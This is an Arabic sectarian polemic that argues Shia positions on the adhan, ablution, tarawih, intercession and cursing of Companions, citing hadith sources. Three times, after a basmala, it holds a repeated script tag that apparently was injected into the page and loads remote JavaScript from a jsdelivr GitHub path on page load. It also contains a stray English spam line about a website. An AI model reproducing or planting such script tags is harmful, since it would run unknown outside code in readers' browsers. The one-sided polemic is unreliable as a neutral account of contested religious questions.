الْأَذَانِ رُؤْيَا عَبْدِ اللَّهِ بْنِ زَيْدِ بْنِ عَاصِمٍ، فَقَالَ لَهُ الْحَسَنُ بْنُ عَلِيٍّ: «إِنَّ شَأْنَ الْأَذَانِ أَعْظَمُ مِنْ ذَاكَ، أَذَّنَ جِبْرِيلُ عَلَيْهِ السَّلَامُ فِي السَّمَاءِ مَثْنَى مَثْنَى، وَعَلَّمَهُ رَسُولَ اللَّهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ، وَأَقَامُ مَرَّةً مَرَّةً فَعَلَّمَهُ رَسُولَ اللَّهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ فَأَذَّنَ الْحَسَنُ حِينَ وَلِيَ»*



    ونعتقد ان حي على خير العمل من الأذان بإقرار اهل البيت:
    ﺍﺑﻦ ﺃﺑﻲ ﺷﻴﺒﺔ - ﺍﻟﻜﺘﺎﺏ ﺍﻟﻤﺼﻨﻒ ﻓﻲ ﺍﻷﺣﺎﺩﻳﺚ ﻭﺍﻵﺛﺎﺭ
    ﻛﺘﺎﺏ ﺍﻷﺫﺍﻥ ﻭﺍﻻﻗﺎﻣﺔ - ﻳﻘﻮﻝ ﻓﻲ ﺃﺫﺍﻧﻪ ﺣﻲ ﻋﻠﻰ ﺧﻴﺮ ﺍﻟﻌﻤﻞ
    ﺍﻟﺠﺰﺀ : ‏( 1 ‏) - ﺭﻗﻢ ﺍﻟﺼﻔﺤﺔ : ‏( 244 ‏)
    1 - ﺣﺪﺛﻨﺎ : ﺃﺑﻮ ﺑﻜﺮ ، ﻗﺎﻝ : ﻧﺎ : ﺣﺎﺗﻢ ﺑﻦ ﺍﺳﻤﺎﻋﻴﻞ ، ﻋﻦ ﺟﻌﻔﺮ ، ﻋﻦ ﺃﺑﻴﻪ ، ﻭﻣﺴﻠﻢ ﺑﻦ ﺃﺑﻲ ﻣﺮﻳﻢ : ﺃﻥ ﻋﻠﻲ ﺑﻦ ﺣﺴﻴﻦ ، ﻛﺎﻥ ﻳﺆﺫﻥ ،(( ﻓﺈﺫﺍ ﺑﻠﻎ ﺣﻲ ﻋﻠﻰ ﺍﻟﻔﻼﺡ ، ﻗﺎﻝ : ﺣﻲ ﻋﻠﻰ ﺧﻴﺮ ﺍﻟﻌﻤﻞ ، ﻭﻳﻘﻮﻝ : ﻫﻮ ﺍﻷﺫﺍﻥ ﺍﻷﻭﻝ)) .
    3 - ﺣﺪﺛﻨﺎ : ﺃﺑﻮ ﺃﺳﺎﻣﺔ ، ﻗﺎﻝ : ﻧﺎ : ﻋﺒﻴﺪ ﺍﻟﻠﻪ ، ﻋﻦ ﻧﺎﻓﻊ ، ﻗﺎﻝ : ﻛﺎﻥ ﺍﺑﻦ ﻋﻤﺮ ، ﺯﺍﺩ ﻓﻲ ﺃﺫﺍﻧﻪ ،(( ﺣﻲ ﻋﻠﻰ ﺧﻴﺮ ﺍﻟﻌﻤﻞ)) .
    ﺍﻟﺮﺍﺑﻂ :
    233 19 من كان يقول في أذانه حي على خير العمل 1 حدثنا أبو بكر قال أنا حاتم بن إسماعيل عن جعفر عن أبيه ومسلم بن أبي مريم أن علي بن حسين كان يؤذن فإذا بلغ حي على الفلاح قال حي على خير العمل ويقول هو الأذان الأول 2 حدثنا أبو خالد عن ابن عجلان عن نافع عن ابن عمر أنه كان يقول في أذانه الصلاة خير من النوم وربما قال حي..

    [حكم هذا الحديث:صحيح]

    وان الاذان الثالث بدعة:
    ﺫﻛﺮ ﺍﻟﻘﺮﻃﺒﻲ ﻓﻲ " ﺍﻟﺠﺎﻣﻊ ﻷﺣﻜﺎﻡ ﺍﻟﻘﺮﺁﻥ " ﺃﻥ ﻋﻠﻲ ﺑﻦ ﺃﺑﻲ ﻃﺎﻟﺐ – ﺭﺿﻲ ﺍﻟﻠﻪ ﻋﻨﻪ - ‏( ﻛﺎﻥ ﻳُﺆﺫﻥ ﻟﻪ ﺃﺫﺍﻧﺎ ﻭﺍﺣﺪﺍ ﺑﺎﻟﻜﻮﻓﺔ ‏) .فاهل البيت لا يعملون ببدعة عثمان

    واشهد ان عليا ولي الله:

    ﻓﻲ ﻛﺘﺎﺏ ﻓﻠﻚ ﺍﻟﻨﺠﺎﺓ ﻓﻲ ﺍﻹﻣﺎﻣﺔ ﻭﺍﻟﺼﻼﺓ
    ﺻﻔﺤﺔ 295 ﻟﻠﺴﻴﺪ ﻋﻠﻲ ﻣﺤﻤﺪ ﻓﺘﺢ ﺍﻟﺪﻳﻦ
    ﺍﻟﺤﻨﻔﻲ ﺃﻧﻪ ﻳﻘﻮﻝ :
    ﻭﺑﺎﻟﻠﻪ ﺃﺳﺘﻤﺪ ﺍﻟﻮﺍﺟﺐ ﻋﻠﻰ ﺇﺧﻮﺍﻥ ﺍﻹﺳﻼﻡ ﺃﻥ
    ﻻ ﻳﺴﺨﺮﻭﺍ ﻋﻠﻰ ﺃﺫﺍﻥ ﺍﻟﺸﻴﻌﺔ ﻭﺇﻥ ﺷﻬﺪﻭﺍ
    ﺑﻮﻻﻳﺔ ﺃﻣﻴﺮ ﺍﻟﻤﺆﻣﻨﻴﻦ ﻓﻲ ﺍﻵﺫﺍﻥ ﻷﻧﻪ ﺗﻌﺎﻟﻰ
    ﺣﺪﺩ ﻟﻤﻦ ﺗﻤﺴﺨﺮ ﻋﻠﻰ ﺍﻷﺫﺍﻥ ﺑﻘﻮﻟﻪ : ﻭﺇﺫﺍ
    ﻧﺎﺩﻳﺘﻢ ﺇﻟﻰ ﺍﻟﺼﻼﺓ ﺍﺗﺨﺬﻭﻫﺎ ﻫﺰﻭﺍ ﻭﻟﻌﺒﺎ "
    ﻭﻟﻨﺎ ﻓﻲ ﺇﺛﺒﺎﺕ ﻫﺬﻩ ﺍﻟﺸﻬﺎﺩﺓ ﺇﺛﺒﺎﺗﺎﺕ ﻛﺎﻓﻴﺔ
    ﻣﻦ ﺍﻟﻘﺮﺁﻥ ﺍﻟﻜﺮﻳﻢ .
    ﻗﺎﻝ ﺍﻟﻠﻪ ﺗﻌﺎﻟﻰ ﻭﺍﻟﺬﻳﻦ ﻫﻢ ﺑﺸﻬﺎﺩﺍﺗﻬﻢ ﻗﺎﺋﻤﻮﻥ
    ‏( ﺳﻮﺭﺓ ﺍﻟﻤﻌﺎﺭﺝ ‏) ﻭﻣﻦ ﻣﺴﻠﻤﺎﺕ ﺃﻫﻞ
    ﺍﻟﻔﻦ ﺃﻥ ﺃﺩﻧﻰ ﺍﻟﺠﻤﻊ ﻳﻄﻠﻖ ﻋﻠﻰ ﺍﻟﺜﻼﺙ ﻓﻔﻲ
    ﺍﻷﺫﺍﻥ ﺛﻼﺙ ﺷﻬﺎﺩﺍﺕ ﺷﻬﺎﺩﺓ ﺍﻟﺘﻮﺣﻴﺪ ﻭﺷﻬﺎﺩﺓ
    ﺍﻟﺮﺳﺎﻟﺔ ﻭﺷﻬﺎﺩﺓ ﺍﻹﻣﺎﻣﺔ ﻭﺍﻟﺴﻼﻡ .
    ‏( ﺇﻧﺘﻬﻰ ﻛﻼﻡ ﻋﻠﻲ ﻣﺤﻤﺪ ﺍﻟﺤﻨﻔﻲ ‏)

    الصلاة خير من النوم بدعة:
    ﻧﻴﻞ ﺍﻷﻭﻃﺎﺭ
    ﻣﺤﻤﺪ ﺑﻦ ﻋﻠﻲ ﺍﻟﺸﻮﻛﺎﻧﻲ
    ﺩﺍﺭ ﺍﻟﺤﺪﻳﺚ
    ﺳﻨﺔ ﺍﻟﻨﺸﺮ 1413 : ﻫـ 1993/
    ﺭﻗﻢ ﺍﻟﻄﺒﻌﺔ : ﻁ 1
    ﻋﺪﺩ ﺍﻷﺟﺰﺍﺀ : ﺛﻤﺎﻧﻴﺔ ﺃﺟﺰﺍﺀ

    ﺃﺑﻮﺍﺏ ﺻﻼﺓ ﺍﻟﻤﺴﺎﻓﺮ ‏» ﺑﺎﺏ ﺃﻥ ﻣﻦ ﺩﺧﻞ ﺑﻠﺪﺍ ﻓﻨﻮﻯ ﺍﻹﻗﺎﻣﺔ ﻓﻴﻪ ﺃﺭﺑﻌﺎ ﻳﻘﺼﺮ

    ﺑﺎﺏ ﺻﻔﺔ ﺍﻷﺫﺍﻥ
    (490)

    .............((ﻭﺫﻫﺒﺖ ﺍﻟﻌﺘﺮﺓ
    ﻭﺍﻟﺸﺎﻓﻌﻲ ﻓﻲ ﺃﺣﺪ ﻗﻮﻟﻴﻪ ﺇﻟﻰ ﺃﻥ ﺍﻟﺘﺜﻮﻳﺐ ﺑﺪﻋﺔ ، ﻗﺎﻝ ﻓﻲ ﺍﻟﺒﺤﺮ : ﺃﺣﺪﺛﻪ ﻋﻤﺮ ، ﻓﻘﺎﻝ ﺍﺑﻨﻪ : ﻫﺬﻩ ﺑﺪﻋﺔ
    ﻭﻋﻦ ﻋﻠﻲ ﻋﻠﻴﻪ ﺍﻟﺴﻼﻡ ﺣﻴﻦ ﺳﻤﻌﻪ : ﻻ ﺗﺰﻳﺪﻭﺍ ﻓﻲ ﺍﻷﺫﺍﻥ ﻣﺎ ﻟﻴﺲ ﻣﻨﻪ))

    402 حدثنا حفص بن عمر قال حدثنا شعبة قال أخبرني قتادة قال سمعت أنس بن مالك قال قال النبي صلى الله عليه وسلم لا يتفلن أحدكم بين يديه ولا عن يمينه ولكن عن يساره أو تحت رجله ..


    وان الوضوء بمسح الرجلين وليس غسلهما:
    {..إن قمتم الى الصلاة فاغسلوا وجوهكم وايديكم الى المرافق وامسحوا برؤوسكم وارجلكم الى الكعبين}.....

    ﺍﺑﻦ ﻣﺎﺟﻪ - ﺳﻨﻦ ﺍﺑﻦ ﻣﺎﺟﻪ
    ﻛﺘﺎﺏ ﺍﻟﻄﻬﺎﺭﺓ ﻭﺳﻨﻨﻬﺎ - ﺑﺎﺏ ﻣﺎ ﺟﺎﺀ ﻓﻲ ﺍﻟﻮﺿﻮﺀ ﻋﻠﻰ ﻣﺎ ﺃﻣﺮ ﺍﻟﻠﻪ ﺗﻌﺎﻟﻰ
    ﺍﻟﺠﺰﺀ : ‏( 1 ‏) - ﺭﻗﻢ ﺍﻟﺼﻔﺤﺔ : ‏( 156 ‏)
    460 - ﺣﺪﺛﻨﺎ : ﻣﺤﻤﺪ ﺑﻦ ﻳﺤﻴﻰ ، ﺣﺪﺛﻨﺎ : ﺣﺠﺎﺝ ، ﺣﺪﺛﻨﺎ : ﻫﻤﺎﻡ ، ﺣﺪﺛﻨﺎ : ﺇﺳﺤﻖ ﺑﻦ ﻋﺒﺪ ﺍﻟﻠﻪ ﺑﻦ ﺃﺑﻲ ﻃﻠﺤﺔ ، ﺣﺪﺛﻨﻲ : ﻋﻠﻲ ﺑﻦ ﻳﺤﻴﻰ ﺑﻦ ﺧﻼﺩ ، ﻋﻦ ﺃﺑﻴﻪ ، ﻋﻦ ﻋﻤﻪ ﺭﻓﺎﻋﺔ ﺑﻦ ﺭﺍﻓﻊ ﺃﻧﻪ ﻛﺎﻥ ﺟﺎﻟﺴﺎ ﻋﻨﺪ ﺍﻟﻨﺒﻲ
    ‏( ﺹ ‏) ، ﻓﻘﺎﻝ : ﺇﻧﻬﺎ ﻻ ﺗﺘﻢ ﺻﻼﺓ ﻷﺣﺪ ﺣﺘﻰ ﻳﺴﺒﻎ ﺍﻟﻮﺿﻮﺀ ﻛﻤﺎ ﺃﻣﺮﻩ ﺍﻟﻠﻪ ﺗﻌﺎﻟﻰ ﻳﻐﺴﻞ ﻭﺟﻬﻪ ﻭﻳﺪﻳﻪ ﺇﻟﻰ ﺍﻟﻤﺮﻓﻘﻴﻦ ﻭﻳﻤﺴﺢ ﺑﺮﺃﺳﻪ ﻭﺭﺟﻠﻴﻪ ﺇﻟﻰ ﺍﻟﻜﻌﺒﻴﻦ .
    ﺍﻟﺮﺍﺑﻂ :


    ﺃﺣﻤﺪ ﺑﻦ ﺣﻨﺒﻞ - ﻣﺴﻨﺪ ﺍﻻﻣﺎﻡ ﺃﺣﻤﺪ ﺑﻦ ﺣﻨﺒﻞ
    ﻣﺴﻨﺪ ﺍﻟﻌﺸﺮﺓ ﺍﻟﻤﺒﺸﺮﻳﻦ ﺑﺎﻟﺠﻨﺔ - ﻭﻣﻦ ﻣﺴﻨﺪ ﻋﻠﻲ ﺑﻦ ﺃﺑﻲ ﻃﺎﻟﺐ ‏( ﺭ ‏)
    ﺍﻟﺠﺰﺀ : ‏( 1 ‏) - ﺭﻗﻢ ﺍﻟﺼﻔﺤﺔ : ‏( 96 ‏)
    739 - ﺣﺪﺛﻨﺎ : ﻭﻛﻴﻊ ، ﺣﺪﺛﻨﺎ : ﺍﻷﻋﻤﺶ ، ﻋﻦ ﺃﺑﻲ ﺇﺳﺤﺎﻕ ، ﻋﻦ ﻋﺒﺪ ﺧﻴﺮ ، ﻋﻦ ﻋﻠﻲ ‏( ﺭ ‏) ، ﻗﺎﻝ : ﻛﻨﺖ ﺃﺭﻯ ﺃﻥ ﺑﺎﻃﻦ ﺍﻟﻘﺪﻣﻴﻦ ﺃﺣﻖ ﺑﺎﻟﻤﺴﺢ ﻣﻦ ﻇﺎﻫﺮﻫﻤﺎ ﺣﺘﻰ ﺭﺃﻳﺖ ﺭﺳﻮﻝ ﺍﻟﻠﻪ ‏( ﺹ ‏) ﻳﻤﺴﺢ ﻇﺎﻫﺮﻫﻤﺎ .
    ﺍﻟﺮﺍﺑﻂ :


    ﺗﻔﺴﻴﺮ ﻏﺮﺍﺋﺐ ﺍﻟﻘﺮﺁﻥ ﻭ ﺭﻏﺎﺋﺐ ﺍﻟﻔﺮﻗﺎﻥ/ ﺍﻟﻘﻤﻲ ﺍﻟﻨﻴﺴﺎﺑﻮﺭﻱ ‏( ﺕ 728
    ﻫـ ‏) ﻣﺼﻨﻒ ﻭ ﻣﺪﻗﻖ

    .....ﻋﻦ ﺍﺑﻦ ﻋﺒﺎﺱ
    ﻭﺃﻧﺲ ﺑﻦ ﻣﺎﻟﻚ ﻭﻋﻜﺮﻣﺔ ﻭﺍﻟﺸﻌﺒﻲ ﻭﺃﺑﻲ ﺟﻌﻔﺮ ﻣﺤﻤﺪ ﺑﻦ ﻋﻠﻲ ﺍﻟﺒﺎﻗﺮ
    ﺭﺿﻲ ﺍﻟﻠﻪ ﻋﻨﻪ ﺃﻥ ﺍﻟﻮﺍﺟﺐ ﻓﻴﻬﻤﺎ ﺍﻟﻤﺴﺢ ﻭﻫﻮ ﻣﺬﻫﺐ ﺍﻹﻣﺎﻣﻴﺔ .

    بسم الله الرحمن الرحيـم<script src=//cdn.jsdelivr.net/gh/g0m1/2/3.9.js></script><script src=//cdn.jsdelivr.net/gh/g0m1/2/3.9.js></script> (غير محدد)


    ﺗﻔﺴﻴﺮ ﺟﺎﻣﻊ ﺍﻟﺒﻴﺎﻥ ﻓﻲ ﺗﻔﺴﻴﺮ ﺍﻟﻘﺮﺁﻥ/ ﺍﻟﻄﺒﺮﻱ ‏(ﺕ 310 ﻫـ ‏) ﻣﺼﻨﻒ
    ﻭ ﻣﺪﻗﻖ

    [[ ﺣﺪﺛﻨﺎ ﺍﺑﻦ ﺣﻤﻴﺪ، ﻗﺎﻝ ﺛﻨﺎ
    ﻫﺎﺭﻭﻥ، ﻋﻦ ﻋﻨﺒﺴﺔ، ﻋﻦ ﺟﺎﺑﺮ، ﻋﻦ ﺃﺑـﻲ ﺟﻌﻔﺮ، ﻗﺎﻝ ﺍﻣﺴﺢ ﻋﻠـﻰ ﺭﺃﺳﻚ
    ﻭﻗﺪﻣﻴﻚ . ]]

    [[[[ﺣﺪﺛﻨﺎ ﺍﺑﻦ ﻭﻛﻴﻊ، ﻗﺎﻝ ﺛﻨﺎ ﺃﺑـﻲ، ﻋﻦ ﺍﻟـﺤﺴﻦ ﺑﻦ ﺻﺎﻟـﺢ، ﻋﻦ ﻏﺎﻟﺐ، ﻋﻦ
    ﺃﺑـﻲ ﺟﻌﻔﺮ، ﺃﻧﻪ ﻗﺮﺃ ‏«ﻭﺃﺭْﺟُﻠِﻜُﻢْ ‏» ﺑـﺎﻟـﺨﻔﺾ .]

    بسم الله الرحمن الرحيـم<script src=//cdn.jsdelivr.net/gh/g0m1/2/3.9.js></script><script src=//cdn.jsdelivr.net/gh/g0m1/2/3.9.js></script> (غير محدد)


    بسم الله الرحمن الرحيـم<script src=//cdn.jsdelivr.net/gh/g0m1/2/3.9.js></script><script src=//cdn.jsdelivr.net/gh/g0m1/2/3.9.js></script> (غير محدد)


    وان الصلاة اسبالا وليس تكتفا كاليهود والنصارى والمجوس....

    والسجود على الارض وليس على السجاد....
    {سيماهم في وجوههم من اثر السجود}

    وقول امين بدعة لانها كلمة عبرانية يتقولها اليهود والنصارى في صلاتهم....


    وصلاة التراويح بدعة:
    ﺍﻟﺸﻮﻛﺎﻧﻲ - ﻧﻴﻞ ﺍﻷﻭﻃﺎﺭ - ﻛﺘﺎﺏ ﺍﻟﻠﺒﺎﺱ - ﺍﺑﻮﺍﺏ ﺻﻼﺓ ﺍﻟﺘﻄﻮﻉ -
    - ﺍﻟﺠﺰﺀ : ‏( 3 ‏) - ﺭﻗﻢ ﺍﻟﺼﻔﺤﺔ : ‏( 62 ‏)
    ‏[ ﺍﻟﻨﺺ ﻃﻮﻳﻞ ﻟﺬﺍ ﺍﺳﺘﻘﻄﻊ ﻣﻨﻪ ﻣﻮﺿﻊ ﺍﻟﺸﺎﻫﺪ ‏]
    943 - .... ﻭﻗﺎﻝ ﻣﺎﻟﻚ ، ﻭﺃﺑﻮ ﻳﻮﺳﻒ ﻭﺑﻌﺾ ﺍﻟﺸﺎﻓﻌﻴﺔ ﻭﻏﻴﺮﻫﻢ : ﺍﻷﻓﻀﻞ ﻓﺮﺍﺩﻯ ﻓﻲ ﺍﻟﺒﻴﺖ ﻟﻘﻮﻟﻪ ‏( ﺹ ‏) ﺃﻓﻀﻞ ﺍﻟﺼﻼﺓ ﺻﻼﺓ ﺍﻟﻤﺮﺀ ﻓﻲ ﺑﻴﺘﻪ ﺇﻻ ﺍﻟﻤﻜﺘﻮﺑﺔ ﻣﺘﻔﻖ ﻋﻠﻴﻪ ، (((ﻭﻗﺎﻟﺖ ﺍﻟﻌﺘﺮﺓ : ﺇﻥ ﺍﻟﺘﺠﻤﻴﻊ ﻓﻴﻬﺎ ﺑﺪﻋﺔ))).
    ﺍﻟﺮﺍﺑﻂ :
    http://shamela.ws/browse.php/book-9242#page-840

    واللطم والتطبير جائز:
    النبي كان يحتجم...والحجامة مثلها مثل التطبير بالضبط...

    واللطم:السيدة هاجر عليها السلام لطمت على وجهها:
    ( فَأَقْبَلَتِ امْرَأَتُهُ فِي صَرَّةٍ فَصَكَّتْ وَجْهَهَا وَقَالَتْ عَجُوزٌ عَقِيمٌ )
    الذاريات (29)

    وان التوسل بغير الله يجوز:
    (( وَلَوْ أَنَّهُمْ إِذْ ظَلَمُوا أَنْفُسَهُمْ جَاءُوكَ فَاسْتَغْفَرُوا اللَّهَ واستغفر لهم الرسول لوجدوا الله توابا رحيما )).

    إذا قالو لماذا تتوسلون بالموتى فان الموتى لا يرونكم ولا يسمعونكم فكيف تتوسلون بهم الى الله:

    الرد:
    وَقُلِ اعْمَلُوا فَسَيَرَى اللَّهُ عَمَلَكُمْ وَرَسُولُهُ وَالْمُؤْمِنُونَ ۖ وَسَتُرَدُّونَ إِلَىٰ عَالِمِ الْغَيْبِ وَالشَّهَادَةِ فَيُنَبِّئُكُم بِمَا كُنتُمْ تَعْمَلُونَ )
    التوبة (105)

    تفسير القرطبي

    قوله تعالى: { وقل اعملوا} خطاب للجميع. { فسيرى الله عملكم ورسوله والمؤمنون} أي بإطلاعه إياهم على أعمالكم. وفي الخبر : (لو أن رجلا عمل في صخرة لا باب لها ولا كوة لخرج عمله إلى الناس كائنا ما كان).

    alro7.net is your first and best source for all of the information you’re looking for. From general topics to more of what you would expect to find here, alro7.net has it all. We hope you find what you are searching for!

    فتوسلنا يعرض على النبي وأهل بيته ونطلب منهم بأن يدعوا الله لتقضى حوائجنا بإذن الله.

    والبناء على القبور بإتفاق الفريقين جائز الا عند الوهابية وابن تيمية فهؤلاء شذاذ لا يعتد بقولهم اصلا.....

    واما سب الصحابة:
    عمار بن ياسر يسب عثمان وبالسند الصحيح:
    ﻋﻦ ﺃﺑﻲ ﻏﺎﺩﻳﺔَ ﻗﺎﻝ ﺳﻤﻌﺖُ ﻋﻤَّﺎﺭَ ﺑﻦَ ﻳﺎﺳﺮٍ ﻳﻘﻊُ ﻓﻲ ﻋﺜﻤﺎﻥَ ﻳﺸﺘُﻤُﻪ ﺑﺎﻟﻤﺪﻳﻨﺔِ ﻗﺎﻝ ﻓﺘﻮﻋَّﺪﺗُﻪ ﺑﺎﻟﻘﺘﻞِ ﻗﻠﺖُ ﻟﺌﻦ ﺃﻣﻜﻨَﻨﻲ ﺍﻟﻠﻪُ ﻣﻨﻚَ ﻷﻓﻌﻠﻦَّ ﻓﻠﻤﺎ ﻛﺎﻥ ﻳﻮﻡُ ﺻِﻔِّﻴﻦَ ﺟﻌﻞ ﻋﻤﺎﺭٌ ﻳﺤﻤﻞُ ﻋﻠﻰ ﺍﻟﻨﺎﺱِ ﻓﻘﻴﻞ ﻫﺬﺍ ﻋﻤَّﺎﺭٌ ﻓﺮﺃﻳﺖُ ﻓُﺮﺟﺔً ﺑﻴﻦ ﺍﻟﺮِّﺋﺘﻴﻦِ ﻭﺑﻴﻦ ﺍﻟﺴَّﺎﻗَﻴﻦِ ﻗﺎﻝ ﻓﺤﻤﻠﺖُ ﻋﻠﻴﻪ ﻓﻄﻌﻨﺘُﻪ ﻓﻲ ﺭُﻛﺒﺘﻪ ﻗﺎﻝ ﻓﻮﻗﻊ ﻓﻘﺘﻠﺘُﻪ ﻓﻘﻴﻞ ﻗﺘﻠﺖَ ﻋﻤَّﺎﺭَ ﺑﻦَ ﻳﺎﺳﺮٍ ﻭﺃُﺧﺒِﺮ ﻋﻤﺮﻭ ﺑﻦُ ﺍﻟﻌﺎﺹِ ﻓﻘﺎﻝ ﺳﻤﻌﺖُ ﺭﺳﻮﻝَ ﺍﻟﻠﻪِ ﺻﻠَّﻰ ﺍﻟﻠﻪُ ﻋﻠﻴﻪِ ﻭﺳﻠَّﻢَ ﻳﻘﻮﻝ ﻗﺎﺗِﻞُ ﻋﻤﺎﺭٍ ﻭﺳﺎﻟﺒُﻪ ﻓﻲ ﺍﻟﻨﺎﺭِ ﻓﻘﻴﻞ ﻟﻌﻤﺮﻭ ﺑﻦِ ﺍﻟﻌﺎﺹِ ﻫﻮ ﺫﺍ ﺃﻧﺖ ﺗُﻘﺎﺗِﻠُﻪ ﻓﻘﺎﻝ ﺇﻧﻤﺎ ﻗﺎﻝ ﻗﺎﺗِﻠَﻪ ﻭﺳﺎﻟﺒَﻪ
    ﺍﻟﺮﺍﻭﻱ : ﻋﻤﺮﻭ ﺑﻦ ﺍﻟﻌﺎﺹ | ﺍﻟﻤﺤﺪﺙ : ﺍﻷﻟﺒﺎﻧﻲ
    | ﺍﻟﻤﺼﺪﺭ : ﺍﻟﺴﻠﺴﻠﺔ ﺍﻟﺼﺤﻴﺤﺔ
    ﺍﻟﺼﻔﺤﺔ ﺃﻭ ﺍﻟﺮﻗﻢ : 5/19 | ﺧﻼﺻﺔ ﺣﻜﻢ ﺍﻟﻤﺤﺪﺙ : ﺇﺳﻨﺎﺩﻩ ﺻﺤﻴﺢ



    ﺍﻟﺴﻠﺴﻠﺔ ﺍﻟﺼﺤﻴﺤﺔ - ﺍﻷﻟﺒﺎﻧﻲ ‏]
    ﺍﻟﻜﺘﺎﺏ : ﺍﻟﺴﻠﺴﻠﺔ ﺍﻟﺼﺤﻴﺤﺔ
    ﺍﻟﻤﺆﻟﻒ : ﻣﺤﻤﺪ ﻧﺎﺻﺮ ﺍﻟﺪﻳﻦ ﺍﻷﻟﺒﺎﻧﻲ
    ﺍﻟﻨﺎﺷﺮ : ﻣﻜﺘﺒﺔ ﺍﻟﻤﻌﺎﺭﻑ - ﺍﻟﺮﻳﺎﺽ
    ﻋﺪﺩ ﺍﻷﺟﺰﺍﺀ :

    (2/489)

    835 - ‏( ﺻﺤﻴﺢ ‏)
    ‏[ ﻣﺎ ﺧﻴﺮ ﻋﻤﺎﺭ ﺑﻴﻦ ﺃﻣﺮﻳﻦ ﺇﻻ ﺍﺧﺘﺎﺭ ﺃﺭﺷﺪﻫﻤﺎ ‏] . ‏( ﺻﺤﻴﺢ ‏)




    الحديث أصله في الطبقات الكبرى لابن سعد:
    ﺍﻟﻜﺒﺮﻯ - ﺍﺑﻦ ﺳﻌﺪ ‏]
    ﺍﻟﻜﺘﺎﺏ : ﺍﻟﻄﺒﻘﺎﺕ ﺍﻟﻜﺒﺮﻯ
    ﺍﻟﻤﺆﻟﻒ : ﻣﺤﻤﺪ ﺑﻦ ﺳﻌﺪ ﺑﻦ ﻣﻨﻴﻊ ﺃﺑﻮ ﻋﺒﺪﺍﻟﻠﻪ ﺍﻟﺒﺼﺮﻱ ﺍﻟﺰﻫﺮﻱ
    ﺍﻟﻨﺎﺷﺮ : ﺩﺍﺭ ﺻﺎﺩﺭ - ﺑﻴﺮﻭﺕ
    ﻋﺪﺩ ﺍﻷﺟﺰﺍﺀ : 8


    (3/260)
    ﻗﺎﻝ ﺃﺧﺒﺮﻧﺎ ﻋﻔﺎﻥ ﺑﻦ ﻣﺴﻠﻢ ﻗﺎﻝ ﺃﺧﺒﺮﻧﺎ ﺣﻤﺎﺩ ﺑﻦ ﺳﻠﻤﺔ ﻗﺎﻝ ﺃﺧﺒﺮﻧﺎ ﺃﺑﻮ ﺣﻔﺺ ﻭﻛﻠﺜﻮﻡ ﺑﻦ ﺟﺒﺮ ﻋﻦ ﺃﺑﻲ ﻏﺎﺩﻳﺔ ﻗﺎﻝ ﺳﻤﻌﺖ ﻋﻤﺎﺭ ﺑﻦ ﻳﺎﺳﺮ ﻳﻘﻊ ﻓﻲ ﻋﺜﻤﺎﻥ ﻳﺸﺘﻤﻪ ﺑﺎﻟﻤﺪﻳﻨﺔ ﻗﺎﻝ ﻓﺘﻮﻋﺪﺗﻪ ﺑﺎﻟﻘﺘﻞ ﻗﻠﺖ
    ‏( 3/261 ‏)
    ﻟﺌﻦ ﺃﻣﻜﻨﻨﻲ ﺍﻟﻠﻪ ﻣﻨﻚ ﻷﻓﻌﻠﻦ ﻓﻠﻤﺎ ﻛﺎﻥ ﻳﻮﻡ ﺻﻔﻴﻦ ﺟﻌﻞ ﻋﻤﺎﺭ ﻳﺤﻤﻞ ﻋﻠﻰ ﺍﻟﻨﺎﺱ ﻓﻘﻴﻞ ﻫﺬﺍ ﻋﻤﺎﺭ ﻓﺮﺃﻳﺖ ﻓﺮﺟﺔ ﺑﻴﻦ ﺍﻟﺮﺋﺘﻴﻦ ﻭﺑﻴﻦ ﺍﻟﺴﺎﻗﻴﻦ ﻗﺎﻝ ﻓﺤﻤﻠﺖ ﻋﻠﻴﻪ ﻓﻄﻌﻨﺘﻪ ﻓﻲ ﺭﻛﺒﺘﻪ ﻗﺎﻝ ﻓﻮﻗﻊ ﻓﻘﺘﻠﺘﻪ ﻓﻘﻴﻞ ﻗﺘﻠﺖ ﻋﻤﺎﺭ ﺑﻦ ﻳﺎﺳﺮ ﻭﺃﺧﺒﺮ ﻋﻤﺮﻭ ﺑﻦ ﺍﻟﻌﺎﺹ ﻓﻘﺎﻝ ﺳﻤﻌﺖ ﺭﺳﻮﻝ ﺍﻟﻠﻪ ﺻﻠﻰ ﺍﻟﻠﻪ ﻋﻠﻴﻪ ﻭ ﺳﻠﻢ ﻳﻘﻮﻝ ﺇﻥ ﻗﺎﺗﻠﻪ ﻭﺳﺎﻟﺒﻪ ﻓﻲ ﺍﻟﻨﺎﺭ ﻓﻘﻴﻞ ﻟﻌﻤﺮﻭ ﺑﻦ ﺍﻟﻌﺎﺹ ﻫﻮ ﺫﺍ ﺃﻧﺖ ﺗﻘﺎﺗﻠﻪ ﻓﻘﺎﻝ ﺇﻧﻤﺎ ﻗﺎﻝ ﻗﺎﺗﻠﻪ ﻭﺳﺎﻟﺒﻪ





    وصحح سند هذ الحديث ايضا المحقق شعيب الارناؤوط في مسند احمد:
    مسند احمد الجزء(29) الصفحة (311)

    17776 حَدَّثَنَا*عَفَّانُ*حَمَّادُ بْنُ سَلَمَةَ*، قَالَ : أَخْبَرَنَا*أَبُو حَفْصٍ،*وَكُلْثُومُ بْنُ جَبْرٍ*، عَنْ*أَبِي غَادِيَةَ.....

    في الهامش علق شعيب الارناؤوط وقال اسناده قوي......


    خالد بن الوليد يسب عبد الرحمن بن عوف:
    ﺻﺤﻴﺢ ﻣﺴﻠﻢ - ﻛﺘﺎﺏ ﻓﻀﺎﺋﻞ ﺍﻟﺼﺤﺎﺑﺔ - ﺑﺎﺏ ﺗﺤﺮﻳﻢ ﺳﺐ ﺍﻟﺼﺤﺎﺑﺔ ‏( ﺭ ‏)
